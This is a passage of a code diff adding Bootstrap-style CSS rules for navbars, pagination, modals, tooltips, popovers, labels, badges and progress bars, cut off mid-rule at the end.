+.navbar-fixed-bottom .navbar-inner { + padding-right: 0; + padding-left: 0; + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} + +.navbar-static-top .container, +.navbar-fixed-top .container, +.navbar-fixed-bottom .container { + width: 940px; +} + +.navbar-fixed-top { + top: 0; +} + +.navbar-fixed-top .navbar-inner, +.navbar-static-top .navbar-inner { + -webkit-box-shadow: 0 1px 10px rgba(0, 0, 0, 0.1); + -moz-box-shadow: 0 1px 10px rgba(0, 0, 0, 0.1); + box-shadow: 0 1px 10px rgba(0, 0, 0, 0.1); +} + +.navbar-fixed-bottom { + bottom: 0; +} + +.navbar-fixed-bottom .navbar-inner { + -webkit-box-shadow: 0 -1px 10px rgba(0, 0, 0, 0.1); + -moz-box-shadow: 0 -1px 10px rgba(0, 0, 0, 0.1); + box-shadow: 0 -1px 10px rgba(0, 0, 0, 0.1); +} + +.navbar .nav { + position: relative; + left: 0; + display: block; + float: left; + margin: 0 10px 0 0; +} + +.navbar .nav.pull-right { + float: right; + margin-right: 0; +} + +.navbar .nav > li { + float: left; +} + +.navbar .nav > li > a { + float: none; + padding: 10px 15px 10px; + color: #777777; + text-decoration: none; + text-shadow: 0 1px 0 #ffffff; +} + +.navbar .nav .dropdown-toggle .caret { + margin-top: 8px; +} + +.navbar .nav > li > a:focus, +.navbar .nav > li > a:hover { + color: #333333; + text-decoration: none; + background-color: transparent; +} + +.navbar .nav > .active > a, +.navbar .nav > .active > a:hover, +.navbar .nav > .active > a:focus { + color: #555555; + text-decoration: none; + background-color: #e5e5e5; + -webkit-box-shadow: inset 0 3px 8px rgba(0, 0, 0, 0.125); + -moz-box-shadow: inset 0 3px 8px rgba(0, 0, 0, 0.125); + box-shadow: inset 0 3px 8px rgba(0, 0, 0, 0.125); +} + +.navbar .btn-navbar { + display: none; + float: right; + padding: 7px 10px; + margin-right: 5px; + margin-left: 5px; + color: #ffffff; + text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); + background-color: #ededed; + *background-color: #e5e5e5; + background-image: -moz-linear-gradient(top, #f2f2f2, #e5e5e5); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f2f2f2), to(#e5e5e5)); + background-image: -webkit-linear-gradient(top, #f2f2f2, #e5e5e5); + background-image: -o-linear-gradient(top, #f2f2f2, #e5e5e5); + background-image: linear-gradient(to bottom, #f2f2f2, #e5e5e5); + background-repeat: repeat-x; + border-color: #e5e5e5 #e5e5e5 #bfbfbf; + border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2f2f2', endColorstr='#ffe5e5e5', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled=false); + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.075); + -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.075); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.075); +} + +.navbar .btn-navbar:hover, +.navbar .btn-navbar:focus, +.navbar .btn-navbar:active, +.navbar .btn-navbar.active, +.navbar .btn-navbar.disabled, +.navbar .btn-navbar[disabled] { + color: #ffffff; + background-color: #e5e5e5; + *background-color: #d9d9d9; +} + +.navbar .btn-navbar:active, +.navbar .btn-navbar.active { + background-color: #cccccc \9; +} + +.navbar .btn-navbar .icon-bar { + display: block; + width: 18px; + height: 2px; + background-color: #f5f5f5; + -webkit-border-radius: 1px; + -moz-border-radius: 1px; + border-radius: 1px; + -webkit-box-shadow: 0 1px 0 rgba(0, 0, 0, 0.25); + -moz-box-shadow: 0 1px 0 rgba(0, 0, 0, 0.25); + box-shadow: 0 1px 0 rgba(0, 0, 0, 0.25); +} + +.btn-navbar .icon-bar + .icon-bar { + margin-top: 3px; +} + +.navbar .nav > li > .dropdown-menu:before { + position: absolute; + top: -7px; + left: 9px; + display: inline-block; + border-right: 7px solid transparent; + border-bottom: 7px solid #ccc; + border-left: 7px solid transparent; + border-bottom-color: rgba(0, 0, 0, 0.2); + content: ''; +} + +.navbar .nav > li > .dropdown-menu:after { + position: absolute; + top: -6px; + left: 10px; + display: inline-block; + border-right: 6px solid transparent; + border-bottom: 6px solid #ffffff; + border-left: 6px solid transparent; + content: ''; +} + +.navbar-fixed-bottom .nav > li > .dropdown-menu:before { + top: auto; + bottom: -7px; + border-top: 7px solid #ccc; + border-bottom: 0; + border-top-color: rgba(0, 0, 0, 0.2); +} + +.navbar-fixed-bottom .nav > li > .dropdown-menu:after { + top: auto; + bottom: -6px; + border-top: 6px solid #ffffff; + border-bottom: 0; +} + +.navbar .nav li.dropdown > a:hover .caret, +.navbar .nav li.dropdown > a:focus .caret { + border-top-color: #333333; + border-bottom-color: #333333; +} + +.navbar .nav li.dropdown.open > .dropdown-toggle, +.navbar .nav li.dropdown.active > .dropdown-toggle, +.navbar .nav li.dropdown.open.active > .dropdown-toggle { + color: #555555; + background-color: #e5e5e5; +} + +.navbar .nav li.dropdown > .dropdown-toggle .caret { + border-top-color: #777777; + border-bottom-color: #777777; +} + +.navbar .nav li.dropdown.open > .dropdown-toggle .caret, +.navbar .nav li.dropdown.active > .dropdown-toggle .caret, +.navbar .nav li.dropdown.open.active > .dropdown-toggle .caret { + border-top-color: #555555; + border-bottom-color: #555555; +} + +.navbar .pull-right > li > .dropdown-menu, +.navbar .nav > li > .dropdown-menu.pull-right { + right: 0; + left: auto; +} + +.navbar .pull-right > li > .dropdown-menu:before, +.navbar .nav > li > .dropdown-menu.pull-right:before { + right: 12px; + left: auto; +} + +.navbar .pull-right > li > .dropdown-menu:after, +.navbar .nav > li > .dropdown-menu.pull-right:after { + right: 13px; + left: auto; +} + +.navbar .pull-right > li > .dropdown-menu .dropdown-menu, +.navbar .nav > li > .dropdown-menu.pull-right .dropdown-menu { + right: 100%; + left: auto; + margin-right: -1px; + margin-left: 0; + -webkit-border-radius: 6px 0 6px 6px; + -moz-border-radius: 6px 0 6px 6px; + border-radius: 6px 0 6px 6px; +} + +.navbar-inverse .navbar-inner { + background-color: #1b1b1b; + background-image: -moz-linear-gradient(top, #222222, #111111); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#222222), to(#111111)); + background-image: -webkit-linear-gradient(top, #222222, #111111); + background-image: -o-linear-gradient(top, #222222, #111111); + background-image: linear-gradient(to bottom, #222222, #111111); + background-repeat: repeat-x; + border-color: #252525; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff222222', endColorstr='#ff111111', GradientType=0); +} + +.navbar-inverse .brand, +.navbar-inverse .nav > li > a { + color: #999999; + text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); +} + +.navbar-inverse .brand:hover, +.navbar-inverse .nav > li > a:hover, +.navbar-inverse .brand:focus, +.navbar-inverse .nav > li > a:focus { + color: #ffffff; +} + +.navbar-inverse .brand { + color: #999999; +} + +.navbar-inverse .navbar-text { + color: #999999; +} + +.navbar-inverse .nav > li > a:focus, +.navbar-inverse .nav > li > a:hover { + color: #ffffff; + background-color: transparent; +} + +.navbar-inverse .nav .active > a, +.navbar-inverse .nav .active > a:hover, +.navbar-inverse .nav .active > a:focus { + color: #ffffff; + background-color: #111111; +} + +.navbar-inverse .navbar-link { + color: #999999; +} + +.navbar-inverse .navbar-link:hover, +.navbar-inverse .navbar-link:focus { + color: #ffffff; +} + +.navbar-inverse .divider-vertical { + border-right-color: #222222; + border-left-color: #111111; +} + +.navbar-inverse .nav li.dropdown.open > .dropdown-toggle, +.navbar-inverse .nav li.dropdown.active > .dropdown-toggle, +.navbar-inverse .nav li.dropdown.open.active > .dropdown-toggle { + color: #ffffff; + background-color: #111111; +} + +.navbar-inverse .nav li.dropdown > a:hover .caret, +.navbar-inverse .nav li.dropdown > a:focus .caret { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} + +.navbar-inverse .nav li.dropdown > .dropdown-toggle .caret { + border-top-color: #999999; + border-bottom-color: #999999; +} + +.navbar-inverse .nav li.dropdown.open > .dropdown-toggle .caret, +.navbar-inverse .nav li.dropdown.active > .dropdown-toggle .caret, +.navbar-inverse .nav li.dropdown.open.active > .dropdown-toggle .caret { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} + +.navbar-inverse .navbar-search .search-query { + color: #ffffff; + background-color: #515151; + border-color: #111111; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px 0 rgba(255, 255, 255, 0.15); + -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px 0 rgba(255, 255, 255, 0.15); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px 0 rgba(255, 255, 255, 0.15); + -webkit-transition: none; + -moz-transition: none; + -o-transition: none; + transition: none; +} + +.navbar-inverse .navbar-search .search-query:-moz-placeholder { + color: #cccccc; +} + +.navbar-inverse .navbar-search .search-query:-ms-input-placeholder { + color: #cccccc; +} + +.navbar-inverse .navbar-search .search-query::-webkit-input-placeholder { + color: #cccccc; +} + +.navbar-inverse .navbar-search .search-query:focus, +.navbar-inverse .navbar-search .search-query.focused { + padding: 5px 15px; + color: #333333; + text-shadow: 0 1px 0 #ffffff; + background-color: #ffffff; + border: 0; + outline: 0; + -webkit-box-shadow: 0 0 3px rgba(0, 0, 0, 0.15); + -moz-box-shadow: 0 0 3px rgba(0, 0, 0, 0.15); + box-shadow: 0 0 3px rgba(0, 0, 0, 0.15); +} + +.navbar-inverse .btn-navbar { + color: #ffffff; + text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); + background-color: #0e0e0e; + *background-color: #040404; + background-image: -moz-linear-gradient(top, #151515, #040404); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#151515), to(#040404)); + background-image: -webkit-linear-gradient(top, #151515, #040404); + background-image: -o-linear-gradient(top, #151515, #040404); + background-image: linear-gradient(to bottom, #151515, #040404); + background-repeat: repeat-x; + border-color: #040404 #040404 #000000; + border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff151515', endColorstr='#ff040404', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled=false); +} + +.navbar-inverse .btn-navbar:hover, +.navbar-inverse .btn-navbar:focus, +.navbar-inverse .btn-navbar:active, +.navbar-inverse .btn-navbar.active, +.navbar-inverse .btn-navbar.disabled, +.navbar-inverse .btn-navbar[disabled] { + color: #ffffff; + background-color: #040404; + *background-color: #000000; +} + +.navbar-inverse .btn-navbar:active, +.navbar-inverse .btn-navbar.active { + background-color: #000000 \9; +} + +.breadcrumb { + padding: 8px 15px; + margin: 0 0 20px; + list-style: none; + background-color: #f5f5f5; + -webkit-border-radius: 4px; + -moz-border-radius: 4px; + border-radius: 4px; +} + +.breadcrumb > li { + display: inline-block; + *display: inline; + text-shadow: 0 1px 0 #ffffff; + *zoom: 1; +} + +.breadcrumb > li > .divider { + padding: 0 5px; + color: #ccc; +} + +.breadcrumb > .active { + color: #999999; +} + +.pagination { + margin: 20px 0; +} + +.pagination ul { + display: inline-block; + *display: inline; + margin-bottom: 0; + margin-left: 0; + -webkit-border-radius: 4px; + -moz-border-radius: 4px; + border-radius: 4px; + *zoom: 1; + -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05); + -moz-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05); + box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05); +} + +.pagination ul > li { + display: inline; +} + +.pagination ul > li > a, +.pagination ul > li > span { + float: left; + padding: 4px 12px; + line-height: 20px; + text-decoration: none; + background-color: #ffffff; + border: 1px solid #dddddd; + border-left-width: 0; +} + +.pagination ul > li > a:hover, +.pagination ul > li > a:focus, +.pagination ul > .active > a, +.pagination ul > .active > span { + background-color: #f5f5f5; +} + +.pagination ul > .active > a, +.pagination ul > .active > span { + color: #999999; + cursor: default; +} + +.pagination ul > .disabled > span, +.pagination ul > .disabled > a, +.pagination ul > .disabled > a:hover, +.pagination ul > .disabled > a:focus { + color: #999999; + cursor: default; + background-color: transparent; +} + +.pagination ul > li:first-child > a, +.pagination ul > li:first-child > span { + border-left-width: 1px; + -webkit-border-bottom-left-radius: 4px; + border-bottom-left-radius: 4px; + -webkit-border-top-left-radius: 4px; + border-top-left-radius: 4px; + -moz-border-radius-bottomleft: 4px; + -moz-border-radius-topleft: 4px; +} + +.pagination ul > li:last-child > a, +.pagination ul > li:last-child > span { + -webkit-border-top-right-radius: 4px; + border-top-right-radius: 4px; + -webkit-border-bottom-right-radius: 4px; + border-bottom-right-radius: 4px; + -moz-border-radius-topright: 4px; + -moz-border-radius-bottomright: 4px; +} + +.pagination-centered { + text-align: center; +} + +.pagination-right { + text-align: right; +} + +.pagination-large ul > li > a, +.pagination-large ul > li > span { + padding: 11px 19px; + font-size: 17.5px; +} + +.pagination-large ul > li:first-child > a, +.pagination-large ul > li:first-child > span { + -webkit-border-bottom-left-radius: 6px; + border-bottom-left-radius: 6px; + -webkit-border-top-left-radius: 6px; + border-top-left-radius: 6px; + -moz-border-radius-bottomleft: 6px; + -moz-border-radius-topleft: 6px; +} + +.pagination-large ul > li:last-child > a, +.pagination-large ul > li:last-child > span { + -webkit-border-top-right-radius: 6px; + border-top-right-radius: 6px; + -webkit-border-bottom-right-radius: 6px; + border-bottom-right-radius: 6px; + -moz-border-radius-topright: 6px; + -moz-border-radius-bottomright: 6px; +} + +.pagination-mini ul > li:first-child > a, +.pagination-small ul > li:first-child > a, +.pagination-mini ul > li:first-child > span, +.pagination-small ul > li:first-child > span { + -webkit-border-bottom-left-radius: 3px; + border-bottom-left-radius: 3px; + -webkit-border-top-left-radius: 3px; + border-top-left-radius: 3px; + -moz-border-radius-bottomleft: 3px; + -moz-border-radius-topleft: 3px; +} + +.pagination-mini ul > li:last-child > a, +.pagination-small ul > li:last-child > a, +.pagination-mini ul > li:last-child > span, +.pagination-small ul > li:last-child > span { + -webkit-border-top-right-radius: 3px; + border-top-right-radius: 3px; + -webkit-border-bottom-right-radius: 3px; + border-bottom-right-radius: 3px; + -moz-border-radius-topright: 3px; + -moz-border-radius-bottomright: 3px; +} + +.pagination-small ul > li > a, +.pagination-small ul > li > span { + padding: 2px 10px; + font-size: 11.9px; +} + +.pagination-mini ul > li > a, +.pagination-mini ul > li > span { + padding: 0 6px; + font-size: 10.5px; +} + +.pager { + margin: 20px 0; + text-align: center; + list-style: none; + *zoom: 1; +} + +.pager:before, +.pager:after { + display: table; + line-height: 0; + content: ""; +} + +.pager:after { + clear: both; +} + +.pager li { + display: inline; +} + +.pager li > a, +.pager li > span { + display: inline-block; + padding: 5px 14px; + background-color: #fff; + border: 1px solid #ddd; + -webkit-border-radius: 15px; + -moz-border-radius: 15px; + border-radius: 15px; +} + +.pager li > a:hover, +.pager li > a:focus { + text-decoration: none; + background-color: #f5f5f5; +} + +.pager .next > a, +.pager .next > span { + float: right; +} + +.pager .previous > a, +.pager .previous > span { + float: left; +} + +.pager .disabled > a, +.pager .disabled > a:hover, +.pager .disabled > a:focus, +.pager .disabled > span { + color: #999999; + cursor: default; + background-color: #fff; +} + +.modal-backdrop { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1040; + background-color: #000000; +} + +.modal-backdrop.fade { + opacity: 0; +} + +.modal-backdrop, +.modal-backdrop.fade.in { + opacity: 0.8; + filter: alpha(opacity=80); +} + +.modal { + position: fixed; + top: 10%; + left: 50%; + z-index: 1050; + width: 560px; + margin-left: -280px; + background-color: #ffffff; + border: 1px solid #999; + border: 1px solid rgba(0, 0, 0, 0.3); + *border: 1px solid #999; + -webkit-border-radius: 6px; + -moz-border-radius: 6px; + border-radius: 6px; + outline: none; + -webkit-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3); + -moz-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3); + box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3); + -webkit-background-clip: padding-box; + -moz-background-clip: padding-box; + background-clip: padding-box; +} + +.modal.fade { + top: -25%; + -webkit-transition: opacity 0.3s linear, top 0.3s ease-out; + -moz-transition: opacity 0.3s linear, top 0.3s ease-out; + -o-transition: opacity 0.3s linear, top 0.3s ease-out; + transition: opacity 0.3s linear, top 0.3s ease-out; +} + +.modal.fade.in { + top: 10%; +} + +.modal-header { + padding: 9px 15px; + border-bottom: 1px solid #eee; +} + +.modal-header .close { + margin-top: 2px; +} + +.modal-header h3 { + margin: 0; + line-height: 30px; +} + +.modal-body { + position: relative; + max-height: 400px; + padding: 15px; + overflow-y: auto; +} + +.modal-form { + margin-bottom: 0; +} + +.modal-footer { + padding: 14px 15px 15px; + margin-bottom: 0; + text-align: right; + background-color: #f5f5f5; + border-top: 1px solid #ddd; + -webkit-border-radius: 0 0 6px 6px; + -moz-border-radius: 0 0 6px 6px; + border-radius: 0 0 6px 6px; + *zoom: 1; + -webkit-box-shadow: inset 0 1px 0 #ffffff; + -moz-box-shadow: inset 0 1px 0 #ffffff; + box-shadow: inset 0 1px 0 #ffffff; +} + +.modal-footer:before, +.modal-footer:after { + display: table; + line-height: 0; + content: ""; +} + +.modal-footer:after { + clear: both; +} + +.modal-footer .btn + .btn { + margin-bottom: 0; + margin-left: 5px; +} + +.modal-footer .btn-group .btn + .btn { + margin-left: -1px; +} + +.modal-footer .btn-block + .btn-block { + margin-left: 0; +} + +.tooltip { + position: absolute; + z-index: 1030; + display: block; + font-size: 11px; + line-height: 1.4; + opacity: 0; + filter: alpha(opacity=0); + visibility: visible; +} + +.tooltip.in { + opacity: 0.8; + filter: alpha(opacity=80); +} + +.tooltip.top { + padding: 5px 0; + margin-top: -3px; +} + +.tooltip.right { + padding: 0 5px; + margin-left: 3px; +} + +.tooltip.bottom { + padding: 5px 0; + margin-top: 3px; +} + +.tooltip.left { + padding: 0 5px; + margin-left: -3px; +} + +.tooltip-inner { + max-width: 200px; + padding: 8px; + color: #ffffff; + text-align: center; + text-decoration: none; + background-color: #000000; + -webkit-border-radius: 4px; + -moz-border-radius: 4px; + border-radius: 4px; +} + +.tooltip-arrow { + position: absolute; + width: 0; + height: 0; + border-color: transparent; + border-style: solid; +} + +.tooltip.top .tooltip-arrow { + bottom: 0; + left: 50%; + margin-left: -5px; + border-top-color: #000000; + border-width: 5px 5px 0; +} + +.tooltip.right .tooltip-arrow { + top: 50%; + left: 0; + margin-top: -5px; + border-right-color: #000000; + border-width: 5px 5px 5px 0; +} + +.tooltip.left .tooltip-arrow { + top: 50%; + right: 0; + margin-top: -5px; + border-left-color: #000000; + border-width: 5px 0 5px 5px; +} + +.tooltip.bottom .tooltip-arrow { + top: 0; + left: 50%; + margin-left: -5px; + border-bottom-color: #000000; + border-width: 0 5px 5px; +} + +.popover { + position: absolute; + top: 0; + left: 0; + z-index: 1010; + display: none; + max-width: 276px; + padding: 1px; + text-align: left; + white-space: normal; + background-color: #ffffff; + border: 1px solid #ccc; + border: 1px solid rgba(0, 0, 0, 0.2); + -webkit-border-radius: 6px; + -moz-border-radius: 6px; + border-radius: 6px; + -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); + -moz-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); + box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); + -webkit-background-clip: padding-box; + -moz-background-clip: padding; + background-clip: padding-box; +} + +.popover.top { + margin-top: -10px; +} + +.popover.right { + margin-left: 10px; +} + +.popover.bottom { + margin-top: 10px; +} + +.popover.left { + margin-left: -10px; +} + +.popover-title { + padding: 8px 14px; + margin: 0; + font-size: 14px; + font-weight: normal; + line-height: 18px; + background-color: #f7f7f7; + border-bottom: 1px solid #ebebeb; + -webkit-border-radius: 5px 5px 0 0; + -moz-border-radius: 5px 5px 0 0; + border-radius: 5px 5px 0 0; +} + +.popover-title:empty { + display: none; +} + +.popover-content { + padding: 9px 14px; +} + +.popover .arrow, +.popover .arrow:after { + position: absolute; + display: block; + width: 0; + height: 0; + border-color: transparent; + border-style: solid; +} + +.popover .arrow { + border-width: 11px; +} + +.popover .arrow:after { + border-width: 10px; + content: ""; +} + +.popover.top .arrow { + bottom: -11px; + left: 50%; + margin-left: -11px; + border-top-color: #999; + border-top-color: rgba(0, 0, 0, 0.25); + border-bottom-width: 0; +} + +.popover.top .arrow:after { + bottom: 1px; + margin-left: -10px; + border-top-color: #ffffff; + border-bottom-width: 0; +} + +.popover.right .arrow { + top: 50%; + left: -11px; + margin-top: -11px; + border-right-color: #999; + border-right-color: rgba(0, 0, 0, 0.25); + border-left-width: 0; +} + +.popover.right .arrow:after { + bottom: -10px; + left: 1px; + border-right-color: #ffffff; + border-left-width: 0; +} + +.popover.bottom .arrow { + top: -11px; + left: 50%; + margin-left: -11px; + border-bottom-color: #999; + border-bottom-color: rgba(0, 0, 0, 0.25); + border-top-width: 0; +} + +.popover.bottom .arrow:after { + top: 1px; + margin-left: -10px; + border-bottom-color: #ffffff; + border-top-width: 0; +} + +.popover.left .arrow { + top: 50%; + right: -11px; + margin-top: -11px; + border-left-color: #999; + border-left-color: rgba(0, 0, 0, 0.25); + border-right-width: 0; +} + +.popover.left .arrow:after { + right: 1px; + bottom: -10px; + border-left-color: #ffffff; + border-right-width: 0; +} + +.thumbnails { + margin-left: -20px; + list-style: none; + *zoom: 1; +} + +.thumbnails:before, +.thumbnails:after { + display: table; + line-height: 0; + content: ""; +} + +.thumbnails:after { + clear: both; +} + +.row-fluid .thumbnails { + margin-left: 0; +} + +.thumbnails > li { + float: left; + margin-bottom: 20px; + margin-left: 20px; +} + +.thumbnail { + display: block; + padding: 4px; + line-height: 20px; + border: 1px solid #ddd; + -webkit-border-radius: 4px; + -moz-border-radius: 4px; + border-radius: 4px; + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.055); + -moz-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.055); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.055); + -webkit-transition: all 0.2s ease-in-out; + -moz-transition: all 0.2s ease-in-out; + -o-transition: all 0.2s ease-in-out; + transition: all 0.2s ease-in-out; +} + +a.thumbnail:hover, +a.thumbnail:focus { + border-color: #0088cc; + -webkit-box-shadow: 0 1px 4px rgba(0, 105, 214, 0.25); + -moz-box-shadow: 0 1px 4px rgba(0, 105, 214, 0.25); + box-shadow: 0 1px 4px rgba(0, 105, 214, 0.25); +} + +.thumbnail > img { + display: block; + max-width: 100%; + margin-right: auto; + margin-left: auto; +} + +.thumbnail .caption { + padding: 9px; + color: #555555; +} + +.media, +.media-body { + overflow: hidden; + *overflow: visible; + zoom: 1; +} + +.media, +.media .media { + margin-top: 15px; +} + +.media:first-child { + margin-top: 0; +} + +.media-object { + display: block; +} + +.media-heading { + margin: 0 0 5px; +} + +.media > .pull-left { + margin-right: 10px; +} + +.media > .pull-right { + margin-left: 10px; +} + +.media-list { + margin-left: 0; + list-style: none; +} + +.label, +.badge { + display: inline-block; + padding: 2px 4px; + font-size: 11.844px; + font-weight: bold; + line-height: 14px; + color: #ffffff; + text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); + white-space: nowrap; + vertical-align: baseline; + background-color: #999999; +} + +.label { + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; +} + +.badge { + padding-right: 9px; + padding-left: 9px; + -webkit-border-radius: 9px; + -moz-border-radius: 9px; + border-radius: 9px; +} + +.label:empty, +.badge:empty { + display: none; +} + +a.label:hover, +a.label:focus, +a.badge:hover, +a.badge:focus { + color: #ffffff; + text-decoration: none; + cursor: pointer; +} + +.label-important, +.badge-important { + background-color: #b94a48; +} + +.label-important[href], +.badge-important[href] { + background-color: #953b39; +} + +.label-warning, +.badge-warning { + background-color: #f89406; +} + +.label-warning[href], +.badge-warning[href] { + background-color: #c67605; +} + +.label-success, +.badge-success { + background-color: #468847; +} + +.label-success[href], +.badge-success[href] { + background-color: #356635; +} + +.label-info, +.badge-info { + background-color: #3a87ad; +} + +.label-info[href], +.badge-info[href] { + background-color: #2d6987; +} + +.label-inverse, +.badge-inverse { + background-color: #333333; +} + +.label-inverse[href], +.badge-inverse[href] { + background-color: #1a1a1a; +} + +.btn .label, +.btn .badge { + position: relative; + top: -1px; +} + +.btn-mini .label, +.btn-mini .badge { + top: 0; +} + +@-webkit-keyframes progress-bar-stripes { + from { + background-position: 40px 0; + } + to { + background-position: 0 0; + } +} + +@-moz-keyframes progress-bar-stripes { + from { + background-position: 40px 0; + } + to { + background-position: 0 0; + } +} + +@-ms-keyframes progress-bar-stripes { + from { + background-position: 40px 0; + } + to { + background-position: 0 0; + } +} + +@-o-keyframes progress-bar-stripes { + from { + background-position: 0 0; + } + to { + background-position: 40px 0; + } +} + +@keyframes progress-bar-stripes { + from { + background-position: 40px 0; + } + to { + background-position: 0 0; + } +} + +.progress { + height: 20px; + margin-bottom: 20px; + overflow: hidden; + background-color: #f7f7f7; + background-image: -moz-linear-gradient(top, #f5f5f5, #f9f9f9); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#f9f9f9)); + background-image: -webkit-linear-gradient(top, #f5f5f5, #f9f9f9); + background-image: -o-linear-gradient(top, #f5f5f5, #f9f9f9); + background-image: linear-gradient(to bottom, #f5f5f5, #f9f9f9); + background-repeat: repeat-x; + -webkit-border-radius: 4px; + -moz-border-radius: 4px; + border-radius: 4px; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#fff9f9f9', GradientType=0); + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); + -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); +} + +.progress .bar { + float: left; + width: 0; + height: 100%; + font-size: 12px; + color: #ffffff; + text-align: center; + text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); + background-color: #0e90d2; + background-image: -moz-linear-gradient(top, #149bdf, #0480be); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#149bdf), to(#0480be)); + background-image: -webkit-linear-gradient(top, #149bdf, #0480be); + background-image: -o-linear-gradient(top, #149bdf, #0480be); + background-image: linear-gradient(to bottom, #149bdf, #0480be); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff149bdf', endColorstr='#ff0480be', GradientType=0); + -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15); + -moz-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15); + box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15); + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition: width 0.6s ease; + -moz-transition: width 0.6s ease; + -o-transition: width 0.6s ease; + transition: width 0.6s ease; +} + +.progress .bar + .bar { + -webkit-box-shadow: inset 1px 0 0 rgba(0, 0, 0, 0.15), inset 0 -1px 0 rgba(0, 0, 0, 0.15); + -moz-box-shadow: inset 1px 0 0 rgba(0, 0, 0, 0.15), inset 0 -1px 0 rgba(0, 0, 0, 0.15); + box-shadow: inset 1px 0 0 rgba(0, 0, 0, 0.15), inset 0 -1px 0 rgba(0, 0, 0, 0.15); +} + +.progress-striped .bar { + background-color: #149bdf; + background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent)); + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: -moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + -webkit-background-size: 40px 40px; + -moz-background-size: 40px 40px; + -o-background-size: 40px 40px; + background-size: 40px 40px; +} + +.progress.active .bar { + -webkit-animation: progress-bar-stripes 2s linear infinite; + -moz-animation: progress-bar-stripes 2s linear infinite; + -ms-animation: progress-bar-stripes 2s linear infinite; + -o-animation: progress-bar-stripes 2s linear infinite; + animation: progress-bar-stripes 2s linear infinite; +} + +.progress-danger .bar, +.progress .bar-danger { + background-color: #dd514c; + background-image: -moz-linear-gradient(top, #ee5f5b, #c43c35); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#c43c35)); + background-image: -webkit-linear-gradient(top, #ee5f5b, #c43c35); + background-image: -o-linear-gradient(top, #ee5f5b, #c43c35); + background-image: linear-gradient(to bottom, #ee5f5b, #c43c35); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffee5f5b', endColorstr='#ffc43c35', GradientType=0); +} + +.progress-danger.progress-striped .bar, +.progress-striped .bar-danger { + background-color: #ee5f5b; + background-image: -webkit-gradient(linear, 0 